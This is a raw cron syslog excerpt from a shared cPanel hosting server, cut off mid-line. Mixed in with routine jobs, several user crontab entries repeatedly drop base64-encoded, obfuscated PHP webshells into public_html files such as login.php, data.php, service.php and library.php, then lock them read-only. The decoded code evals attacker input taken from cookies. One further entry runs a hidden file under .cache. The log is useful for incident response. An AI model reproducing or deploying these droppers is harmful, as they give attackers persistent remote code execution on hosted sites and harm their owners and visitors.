Jun  7 14:20:02 medusa CROND[26668]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 14:20:02 medusa CROND[26670]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:20:02 medusa CROND[26671]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:20:02 medusa CROND[26673]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:20:02 medusa CROND[26678]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:20:02 medusa CROND[26681]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:20:02 medusa CROND[26675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:20:02 medusa CROND[26685]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:20:02 medusa CROND[26686]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:20:02 medusa CROND[26690]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:20:02 medusa CROND[26683]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 14:20:02 medusa CROND[26684]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 14:20:02 medusa CROND[26702]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 14:20:02 medusa CROND[26674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:20:02 medusa CROND[26680]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:20:02 medusa CROND[26689]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 14:21:02 medusa CROND[28526]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:21:02 medusa CROND[28529]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:21:02 medusa CROND[28530]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:21:02 medusa CROND[28531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:21:02 medusa CROND[28532]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:21:02 medusa CROND[28533]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:21:02 medusa CROND[28534]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:21:02 medusa CROND[28535]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:21:02 medusa CROND[28538]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:21:02 medusa CROND[28536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:21:02 medusa CROND[28537]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:21:02 medusa CROND[28539]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:21:02 medusa CROND[28540]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:21:02 medusa CROND[28545]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:22:01 medusa CROND[30786]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:22:01 medusa CROND[30797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:22:01 medusa CROND[30798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:22:01 medusa CROND[30799]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:22:01 medusa CROND[30800]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:22:01 medusa CROND[30804]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:22:01 medusa CROND[30803]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:22:01 medusa CROND[30806]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:22:01 medusa CROND[30808]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:22:01 medusa CROND[30810]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:22:01 medusa CROND[30811]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdH